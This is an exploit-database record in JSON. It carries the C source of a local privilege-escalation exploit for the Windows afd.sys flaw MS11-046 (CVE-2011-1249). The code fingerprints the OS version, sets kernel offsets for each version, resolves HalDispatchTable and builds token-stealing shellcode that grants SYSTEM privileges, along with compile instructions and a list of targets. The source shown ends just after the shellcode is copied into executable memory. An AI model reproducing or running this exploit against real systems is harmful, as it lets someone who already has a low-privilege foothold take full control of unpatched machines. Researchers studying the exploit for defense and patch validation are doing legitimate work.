{"lastseen": "2016-10-18T21:29:29", "osvdbidlist": [], "references": [], "description": "Windows x86 - 'afd.sys' Privilege Escalation (MS11-046). CVE-2011-1249. Local exploit for Windows platform", "reporter": "Tomislav Paskalev", "published": "2016-10-18T00:00:00", "type": "exploitdb", "title": "Windows x86 - 'afd.sys' Privilege Escalation (MS11-046)", "enchantments": {"score": {"value": 6.3, "vector": "NONE", "modified": "2016-10-18T21:29:29", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2011-1249"]}, {"type": "seebug", "idList": ["SSV:60072", "SSV:20642"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310902442", "OPENVAS:902442"]}, {"type": "exploitdb", "idList": ["EDB-ID:18755"]}, {"type": "mskb", "idList": ["KB2503665"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:66873F00FF02BBB259D0B07778A433B4"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:139196"]}, {"type": "nessus", "idList": ["SMB_NT_MS11-046.NASL"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:11730"]}], "modified": "2016-10-18T21:29:29", "rev": 2}, "vulnersScore": 6.3}, "bulletinFamily": "exploit", "cvelist": ["CVE-2011-1249"], "modified": "2016-10-18T00:00:00", "id": "EDB-ID:40564", "href": "https://www.exploit-db.com/exploits/40564/", "viewCount": 623, "sourceData": "/*\r

################################################################\r

# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)\r

# Date: 2016-10-16\r

# Exploit Author: Tomislav Paskalev\r

# Vulnerable Software:\r

# Windows XP SP3 x86\r

# Windows XP Pro SP2 x64\r

# Windows Server 2003 SP2 x86\r

# Windows Server 2003 SP2 x64\r

# Windows Server 2003 SP2 Itanium-based Systems \r

# Windows Vista SP1 x86\r

# Windows Vista SP2 x86\r

# Windows Vista SP1 x64\r

# Windows Vista SP2 x64\r

# Windows Server 2008 x86\r

# Windows Server 2008 SP2 x86\r

# Windows Server 2008 x64\r

# Windows Server 2008 SP2 x64\r

# Windows Server 2008 Itanium-based Systems\r

# Windows Server 2008 SP2 Itanium-based Systems\r

# Windows 7 x86\r

# Windows 7 SP1 x86\r

# Windows 7 x64\r

# Windows 7 SP1 x64\r

# Windows Server 2008 R2 x64\r

# Windows Server 2008 R2 SP1 x64\r

# Windows Server 2008 R2 Itanium-based Systems\r

# Windows Server 2008 R2 SP1 Itanium-based Systems\r

# Supported Vulnerable Software:\r

# Windows XP SP3 x86\r

# Windows Server 2003 SP2 x86\r

# Windows Vista SP1 x86\r

# Windows Vista SP2 x86\r

# Windows Server 2008 x86\r

# Windows Server 2008 SP2 x86\r

# Windows 7 x86\r

# Windows 7 SP1 x86\r

# Tested Software:\r

# Windows XP Pro SP3 x86 EN [5.1.2600]\r

# Windows Server 2003 Ent SP2 EN [5.2.3790]\r

# Windows Vista Ult SP1 x86 EN [6.0.6001]\r

# Windows Vista Ult SP2 x86 EN [6.0.6002]\r

# Windows Server 2008 Dat SP1 x86 EN [6.0.6001]\r

# Windows Server 2008 Ent SP2 x86 EN [6.0.6002]\r

# Windows 7 HB x86 EN [6.1.7600]\r

# Windows 7 Ent SP1 x86 EN [6.1.7601]\r

# CVE ID: 2011-1249\r

################################################################\r

# Vulnerability description:\r

# The Ancillary Function Driver (AFD) supports Windows sockets \r

# applications and is contained in the afd.sys file. The afd.sys\r

# driver runs in kernel mode and manages the Winsock TCP/IP\r

# communications protocol. \r

# An elevation of privilege vulnerability exists where the AFD\r

# improperly validates input passed from user mode to the kernel.\r

# An attacker must have valid logon credentials and be able to\r

# log on locally to exploit the vulnerability.\r

# An attacker who successfully exploited this vulnerability could\r

# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\\SYSTEM\r

# privileges).\r

################################################################\r

# Exploit notes:\r

# Privileged shell execution:\r

# - the SYSTEM shell will spawn within the invoking shell/process\r

# Exploit compiling (Kali GNU/Linux Rolling 64-bit):\r

# - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32\r

# Exploit prerequisites:\r

# - low privilege access to the target OS\r

# - target OS not patched (KB2503665, or any other related\r

# patch, if applicable, not installed - check \"Related security\r

# vulnerabilities/patches\")\r

# Exploit test notes:\r

# - let the target OS boot properly (if applicable)\r

# - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset\r

################################################################\r

# Patches:\r

# Windows XP SP3 x86\r

# WindowsXP-KB2503665-x86-enu.exe\r

# (not available - EoL)\r

# Windows Server 2003 SP2 x86\r

# WindowsServer2003-KB2503665-x86-enu.exe\r

# https://www.microsoft.com/en-us/download/details.aspx?id=26483\r

# Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86\r

# Windows6.0-KB2503665-x86.msu\r

# https://www.microsoft.com/en-us/download/details.aspx?id=26275\r

# Windows 7 (SP0), SP1 x86\r

# Windows6.1-KB2503665-x86.msu\r

# https://www.microsoft.com/en-us/download/details.aspx?id=26311\r

################################################################\r

# Related security vulnerabilities/patches:\r

# MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx\r

# MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx\r

# MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx\r

# MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx\r

# MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx\r

#\r

# Table of patch replacements:\r

# | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 |\r

# -------------------------------------------------------------\r

# | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 |\r

# -----------------------------------------------------------------------------------------\r

# Windows x86 XP SP3 | Installed | <-Replaces| - | - | - |\r

# Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces|\r

# Windows x86 Vista SP1 | Installed | - | - | - | - |\r

# Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces|\r

# Windows x86 Server 2008 | Installed | - | - | - | - |\r

# Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces|\r

# Windows x86 7 | Installed | - | - | - | - |\r

# Windows x86 7 SP1 | Installed | - | - | - | <-Replaces|\r

################################################################\r

# Thanks to:\r

# azy (XP, 2k3 exploit)\r

# Rahul Sasi (PoC)\r

################################################################\r

# References:\r

# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249\r

# https://technet.microsoft.com/en-us/library/security/ms11-046.aspx\r

# http://web.qhwins.com/Security/2012021712023641874126.html\r

# https://www.exploit-db.com/exploits/18755/\r

################################################################\r

*/\r

\r

\r

#include <winsock2.h>\r

#include <windows.h>\r

#include <stdio.h>\r

#include <ws2tcpip.h>\r

\r

#pragma comment (lib, \"ws2_32.lib\")\r

\r

\r

////////////////////////////////////////////////////////////////\r

// DEFINE DATA TYPES\r

////////////////////////////////////////////////////////////////\r

\r

typedef enum _KPROFILE_SOURCE {\r

ProfileTime,\r

ProfileAlignmentFixup,\r

ProfileTotalIssues,\r

ProfilePipelineDry,\r

ProfileLoadInstructions,\r

ProfilePipelineFrozen,\r

ProfileBranchInstructions,\r

ProfileTotalNonissues,\r

ProfileDcacheMisses,\r

ProfileIcacheMisses,\r

ProfileCacheMisses,\r

ProfileBranchMispredictions,\r

ProfileStoreInstructions,\r

ProfileFpInstructions,\r

ProfileIntegerInstructions,\r

Profile2Issue,\r

Profile3Issue,\r

Profile4Issue,\r

ProfileSpecialInstructions,\r

ProfileTotalCycles,\r

ProfileIcacheIssues,\r

ProfileDcacheAccesses,\r

ProfileMemoryBarrierCycles,\r

ProfileLoadLinkedIssues,\r

ProfileMaximum\r

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;\r

\r

\r

typedef DWORD (WINAPI *PNTQUERYINTERVAL) (\r

KPROFILE_SOURCE ProfileSource,\r

PULONG Interval\r

);\r

\r

\r

typedef LONG NTSTATUS;\r

\r

\r

typedef NTSTATUS (WINAPI *PNTALLOCATE) (\r

HANDLE ProcessHandle,\r

PVOID *BaseAddress,\r

ULONG ZeroBits,\r

PULONG RegionSize,\r

ULONG AllocationType,\r

ULONG Protect\r

);\r

\r

\r

typedef struct _IO_STATUS_BLOCK {\r

union {\r

NTSTATUS Status;\r

PVOID Pointer;\r

};\r

ULONG_PTR Information;\r

} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;\r

\r

\r

typedef struct _SYSTEM_MODULE_INFORMATION {\r

ULONG Reserved[2];\r

PVOID Base;\r

ULONG Size;\r

ULONG Flags;\r

USHORT Index;\r

USHORT Unknown;\r

USHORT LoadCount;\r

USHORT ModuleNameOffset;\r

CHAR ImageName[256];\r

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;\r

\r

\r

typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);\r

\r

\r

////////////////////////////////////////////////////////////////\r

// FUNCTIONS\r

////////////////////////////////////////////////////////////////\r

\r

BOOL IsWow64()\r

{\r

BOOL bIsWow64 = FALSE;\r

LPFN_ISWOW64PROCESS fnIsWow64Process;\r

\r

fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT(\"kernel32\")), \"IsWow64Process\");\r

\r

if(NULL != fnIsWow64Process)\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx\r

if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx\r

printf(\" [-] Failed (error code: %d)\

\", GetLastError());\r

return -1;\r

}\r

}\r

return bIsWow64;\r

}\r

\r

\r

////////////////////////////////////////////////////////////////\r

// MAIN FUNCTION\r

////////////////////////////////////////////////////////////////\r

\r

int main(void)\r

{\r

printf(\"[*] MS11-046 (CVE-2011-1249) x86 exploit\

\");\r

printf(\" [*] by Tomislav Paskalev\

\");\r

\r

\r

////////////////////////////////////////////////////////////////\r

// IDENTIFY TARGET OS ARCHITECTURE AND VERSION\r

////////////////////////////////////////////////////////////////\r

\r

printf(\"[*] Identifying OS\

\");\r

\r

\r

// identify target machine's OS architecture\r

// in case the target machine is running a 64-bit OS\r

if(IsWow64())\r

{\r

printf(\" [-] 64-bit\

\");\r

return -1;\r

}\r

\r

printf(\" [+] 32-bit\

\");\r

\r

\r

// identify target machine's OS version\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx\r

OSVERSIONINFOEX osvi;\r

ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));\r

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\r

GetVersionEx((LPOSVERSIONINFO) &osvi);\r

\r

// define operating system version specific variables\r

unsigned char shellcode_KPROCESS;\r

unsigned char shellcode_TOKEN;\r

unsigned char shellcode_UPID;\r

unsigned char shellcode_APLINKS;\r

const char **securityPatchesPtr;\r

int securityPatchesCount;\r

int lpInBufferSize;\r

\r

////////////////////////////////////////////////////////////////\r

/*\r

OS VERSION SPECIFIC OFFSETS\r

\r

references:\r

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm\r

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm\r

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm\r

http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/\r

\r

\r

- nt!_KTHREAD.ApcState.Process (+0x10)\r

0x30 (3.51);\r

0x34 (>3.51 to 5.1);\r

0x28 (late 5.2);\r

0x38 (6.0);\r

0x40 (6.1);\r

0x70 (6.2 and higher)\r

\r

- nt!_EPROCESS.Token\r

0x0108 (3.51 to 4.0);\r

0x012C (5.0);\r

0xC8 (5.1 to early 5.2);\r

0xD8 (late 5.2);\r

0xE0 (6.0);\r

0xF8 (6.1);\r

0xEC (6.2 to 6.3);\r

0xF4\r

\r

- nt!_EPROCESS.UniqueProcessId\r

0x94 (3.51 to 4.0);\r

0x9C (5.0);\r

0x84 (5.1 to early 5.2);\r

0x94 (late 5.2);\r

0x9C (6.0);\r

0xB4\r

\r

- nt!_EPROCESS.ActiveProcessLinks.Flink\r

0x98 (3.51 to 4.0);\r

0xA0 (5.0);\r

0x88 (5.1 to early 5.2);\r

0x98 (late 5.2);\r

0xA0 (6.0);\r

0xB8\r

\r

*/\r

////////////////////////////////////////////////////////////////\r

\r

// in case the OS version is 5.1, service pack 3\r

if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))\r

{\r

// the target machine's OS is Windows XP SP3\r

printf(\" [+] Windows XP SP3\

\");\r

shellcode_KPROCESS = '\\x44';\r

shellcode_TOKEN = '\\xC8';\r

shellcode_UPID = '\\x84';\r

shellcode_APLINKS = '\\x88';\r

const char *securityPatches[] = {\"KB2503665\", \"KB2592799\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 2;\r

lpInBufferSize = 0x30;\r

}\r

\r

// in case the OS version is 5.2, service pack 2, not R2\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx\r

else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))\r

{\r

// the target machine's OS is Windows Server 2003 SP2\r

printf(\" [+] Windows Server 2003 SP2\

\");\r

shellcode_KPROCESS = '\\x38';\r

shellcode_TOKEN = '\\xD8';\r

shellcode_UPID = '\\x94';\r

shellcode_APLINKS = '\\x98';\r

const char *securityPatches[] = {\"KB2503665\", \"KB2592799\", \"KB2645640\", \"KB2975684\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 4;\r

lpInBufferSize = 0x30;\r

}\r

\r

// in case the OS version is 6.0, service pack 1, workstation\r

else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1))\r

{\r

// the target machine's OS is Windows Vista SP1\r

printf(\" [+] Windows Vista SP1\

\");\r

shellcode_KPROCESS = '\\x48';\r

shellcode_TOKEN = '\\xE0';\r

shellcode_UPID = '\\x9C';\r

shellcode_APLINKS = '\\xA0';\r

const char *securityPatches[] = {\"KB2503665\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 1;\r

lpInBufferSize = 0x30;\r

}\r

\r

// in case the OS version is 6.0, service pack 2, workstation\r

else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1))\r

{\r

// the target machine's OS is Windows Vista SP2\r

printf(\" [+] Windows Vista SP2\

\");\r

shellcode_KPROCESS = '\\x48';\r

shellcode_TOKEN = '\\xE0';\r

shellcode_UPID = '\\x9C';\r

shellcode_APLINKS = '\\xA0';\r

const char *securityPatches[] = {\"KB2503665\", \"KB2975684\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 2;\r

lpInBufferSize = 0x10;\r

}\r

\r

// in case the OS version is 6.0, no service pack*, server\r

// *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1;\r

// accordingly, the first service pack is called Service Pack 2.\r

// https://en.wikipedia.org/wiki/Windows_Server_2008\r

else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1))\r

{\r

// the target machine's OS is Windows Server 2008\r

printf(\" [+] Windows Server 2008\

\");\r

shellcode_KPROCESS = '\\x48';\r

shellcode_TOKEN = '\\xE0';\r

shellcode_UPID = '\\x9C';\r

shellcode_APLINKS = '\\xA0';\r

const char *securityPatches[] = {\"KB2503665\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 1;\r

lpInBufferSize = 0x10;\r

}\r

\r

// in case the OS version is 6.0, service pack 2, server\r

else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))\r

{\r

// the target machine's OS is Windows Server 2008 SP2\r

printf(\" [+] Windows Server 2008 SP2\

\");\r

shellcode_KPROCESS = '\\x48';\r

shellcode_TOKEN = '\\xE0';\r

shellcode_UPID = '\\x9C';\r

shellcode_APLINKS = '\\xA0';\r

const char *securityPatches[] = {\"KB2503665\", \"KB2975684\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 2;\r

lpInBufferSize = 0x08;\r

}\r

\r

// in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only)\r

else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))\r

{\r

// the target machine's OS is Windows 7\r

printf(\" [+] Windows 7\

\");\r

shellcode_KPROCESS = '\\x50';\r

shellcode_TOKEN = '\\xF8';\r

shellcode_UPID = '\\xB4';\r

shellcode_APLINKS = '\\xB8';\r

const char *securityPatches[] = {\"KB2503665\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 1;\r

lpInBufferSize = 0x20;\r

}\r

\r

// in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only)\r

else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))\r

{\r

// the target machine's OS is Windows 7 SP1\r

printf(\" [+] Windows 7 SP1\

\");\r

shellcode_KPROCESS = '\\x50';\r

shellcode_TOKEN = '\\xF8';\r

shellcode_UPID = '\\xB4';\r

shellcode_APLINKS = '\\xB8';\r

const char *securityPatches[] = {\"KB2503665\", \"KB2975684\"};\r

securityPatchesPtr = securityPatches;\r

securityPatchesCount = 2;\r

lpInBufferSize = 0x10;\r

}\r

\r

// in case the OS version is not any of the previously checked versions\r

else\r

{\r

// the target machine's OS is an unsupported 32-bit Windows version\r

printf(\" [-] Unsupported version\

\");\r

printf(\" [*] Affected 32-bit operating systems\

\");\r

printf(\" [*] Windows XP SP3\

\");\r

printf(\" [*] Windows Server 2003 SP2\

\");\r

printf(\" [*] Windows Vista SP1\

\");\r

printf(\" [*] Windows Vista SP2\

\");\r

printf(\" [*] Windows Server 2008\

\");\r

printf(\" [*] Windows Server 2008 SP2\

\");\r

printf(\" [*] Windows 7\

\");\r

printf(\" [*] Windows 7 SP1\

\");\r

return -1;\r

}\r

\r

\r

////////////////////////////////////////////////////////////////\r

// LOCATE REQUIRED OS COMPONENTS\r

////////////////////////////////////////////////////////////////\r

\r

printf(\"[*] Locating required OS components\

\");\r

\r

\r

// retrieve system information\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx\r

// locate \"ZwQuerySystemInformation\" in the \"ntdll.dll\" module\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx\r

FARPROC ZwQuerySystemInformation;\r

ZwQuerySystemInformation = GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"ZwQuerySystemInformation\");\r

\r

// 11 = SystemModuleInformation\r

// http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm\r

ULONG systemInformation;\r

ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);\r

\r

// allocate memory for the list of loaded modules\r

ULONG *systemInformationBuffer;\r

systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));\r

\r

if(!systemInformationBuffer)\r

{\r

printf(\" [-] Could not allocate memory\");\r

return -1;\r

}\r

\r

\r

// retrieve the list of loaded modules \r

ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);\r

\r

// locate \"ntkrnlpa.exe\" or \"ntoskrnl.exe\" in the retrieved list of loaded modules\r

ULONG i;\r

PVOID targetKrnlMdlBaseAddr;\r

HMODULE targetKrnlMdlUsrSpcOffs;\r

BOOL foundModule = FALSE;\r

PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;\r

loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);\r

\r

for(i = 0; i < *systemInformationBuffer; i++)\r

{\r

if(strstr(loadedMdlStructPtr[i].ImageName, \"ntkrnlpa.exe\"))\r

{\r

printf(\" [+] ntkrnlpa.exe\

\");\r

targetKrnlMdlUsrSpcOffs = LoadLibraryExA(\"ntkrnlpa.exe\", 0, 1);\r

targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;\r

foundModule = TRUE;\r

break;\r

} \r

else if(strstr(loadedMdlStructPtr[i].ImageName, \"ntoskrnl.exe\"))\r

{\r

printf(\" [+] ntoskrnl.exe\

\");\r

targetKrnlMdlUsrSpcOffs = LoadLibraryExA(\"ntoskrnl.exe\", 0, 1);\r

targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;\r

foundModule = TRUE;\r

break;\r

} \r

}\r

\r

// base address of the loaded module (kernel space)\r

printf(\" [*] Address: %#010x\

\", targetKrnlMdlBaseAddr);\r

\r

// offset address (relative to the parent process) of the loaded module (user space)\r

printf(\" [*] Offset: %#010x\

\", targetKrnlMdlUsrSpcOffs);\r

\r

if(!foundModule)\r

{\r

printf(\" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\

\");\r

return -1;\r

}\r

\r

// free allocated buffer space\r

free(systemInformationBuffer);\r

\r

\r

// determine the address of the \"HalDispatchTable\" process (kernel space)\r

// locate the offset fo the \"HalDispatchTable\" process within the target module (user space)\r

ULONG_PTR HalDispatchTableUsrSpcOffs;\r

HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, \"HalDispatchTable\");\r

\r

if(!HalDispatchTableUsrSpcOffs)\r

{\r

printf(\" [-] Could not find HalDispatchTable\

\");\r

return -1;\r

}\r

\r

printf(\" [+] HalDispatchTable\

\");\r

printf(\" [*] Offset: %#010x\

\", HalDispatchTableUsrSpcOffs);\r

\r

// calculate the address of \"HalDispatchTable\" in kernel space\r

// 1. identify the base address of the target module in kernel space\r

// 2. previous step's result [minus] the load address of the same module in user space\r

// 3. previous step's result [plus] the address of \"HalDispatchTable\" in user space\r

// EQUIVALENT TO:\r

// 1. determine RVA of HalDispatchTable\r

// *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.\r

// 2. previous step's result [plus] base address of target module in kernel space\r

ULONG_PTR HalDispatchTableKrnlSpcAddr;\r

HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;\r

HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;\r

\r

\r

// locate \"NtQueryIntervalProfile\" in the \"ntdll.dll\" module\r

PNTQUERYINTERVAL NtQueryIntervalProfile;\r

NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"NtQueryIntervalProfile\");\r

\r

if(!NtQueryIntervalProfile)\r

{\r

printf(\" [-] Could not find NtQueryIntervalProfile\

\");\r

return -1;\r

}\r

\r

printf(\" [+] NtQueryIntervalProfile\

\");\r

printf(\" [*] Address: %#010x\

\", NtQueryIntervalProfile);\r

\r

\r

// locate \"ZwDeviceIoControlFile\" routine in the \"ntdll.dll\" module\r

// https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx\r

FARPROC ZwDeviceIoControlFile;\r

ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle(\"ntdll.dll\"), \"ZwDeviceIoControlFile\");\r

\r

if(!ZwDeviceIoControlFile)\r

{\r

printf(\" [-] Could not find ZwDeviceIoControlFile\

\");\r

return -1;\r

}\r

\r

printf(\" [+] ZwDeviceIoControlFile\

\");\r

printf(\" [*] Address: %#010x\

\", ZwDeviceIoControlFile);\r

\r

\r

////////////////////////////////////////////////////////////////\r

// SETUP EXPLOITATION PREREQUISITE\r

////////////////////////////////////////////////////////////////\r

\r

printf(\"[*] Setting up exploitation prerequisite\

\");\r

\r

\r

// initialize Winsock DLL\r

printf (\" [*] Initialising Winsock DLL\

\");\r

WORD wVersionRequested;\r

WSADATA wsaData;\r

int wsaStartupErrorCode;\r

\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx\r

wVersionRequested = MAKEWORD(2, 2);\r

\r

// initiate the use of the Winsock DLL\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx\r

wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);\r

\r

if(wsaStartupErrorCode != 0)\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx\r

printf(\" [-] Failed (error code: %d)\

\", wsaStartupErrorCode);\r

return -1;\r

}\r

\r

printf(\" [+] Done\

\");\r

\r

\r

// create socket\r

printf(\" [*] Creating socket\

\");\r

SOCKET targetDeviceSocket = INVALID_SOCKET;\r

\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx\r

targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);\r

\r

if(targetDeviceSocket == INVALID_SOCKET)\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx\r

printf(\" [-] Failed (error code: %ld)\

\", WSAGetLastError());\r

return -1;\r

}\r

\r

printf(\" [+] Done\

\");\r

\r

\r

// connect to a closed port\r

// connect to port 0 on the local machine\r

struct sockaddr_in clientService;\r

clientService.sin_family = AF_INET;\r

clientService.sin_addr.s_addr = inet_addr(\"127.0.0.1\");\r

clientService.sin_port = htons(0);\r

\r

printf(\" [*] Connecting to closed port\

\");\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx\r

int connectResult;\r

connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));\r

if (connectResult == 0)\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx\r

printf (\" [-] Connected (error code: %ld)\

\", WSAGetLastError());\r

return -1;\r

}\r

\r

printf(\" [+] Done\

\");\r

\r

\r

////////////////////////////////////////////////////////////////\r

// CREATE TOKEN STEALING SHELLCODE\r

////////////////////////////////////////////////////////////////\r

\r

printf(\"[*] Creating token stealing shellcode\

\");\r

\r

\r

// construct the token stealing shellcode\r

unsigned char shellcode[] =\r

{\r

0x52, // PUSH EDX Save EDX on the stack (save context)\r

0x53,\t // PUSH EBX Save EBX on the stack (save context)\r

0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)\r

0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure\r

0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure\r

0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX\r

0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN\r

0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks\r

0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks\r

0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)\r

0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal\r

0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX\r

0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX\r

0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN\r

0x5B, // POP EBX Pop current stack value to EBX (restore context)\r

0x5A, // POP EDX Pop current stack value to EDX (restore context)\r

0xC2,0x08 // RET 8 Return\r

};\r

\r

printf(\" [*] Shellcode assembled\

\");\r

\r

\r

// allocate memory (RWE permissions) for the shellcode\r

printf(\" [*] Allocating memory\

\");\r

LPVOID shellcodeAddress;\r

shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r

int errorCode = 0;\r

\r

if(shellcodeAddress == NULL)\r

{\r

// https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx\r

errorCode = GetLastError();\r

// in case of ERROR_INVALID_ADDRESS\r

if(errorCode == 487)\r

{\r

// Attempt to access invalid address\r

// occurs since a fixed address is being reserved\r

// http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex\r

printf(\" [!] Could not reserve entire range\

\");\r

printf(\" [*] Rerun exploit\

\");\r

}\r

// in case of any other error\r

else\r

printf(\" [-] Failed (error code: %d)\

\", errorCode);\r

return -1;\r

}\r

\r

printf(\" [+] Address: %#010x\

\", shellcodeAddress);\r

\r

\r

// copy the shellcode to the allocated memory\r

memset(shellcodeAddress, 0x90, 0x20000);\r

memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));\r

printf(\" [*] Shellcode copied\
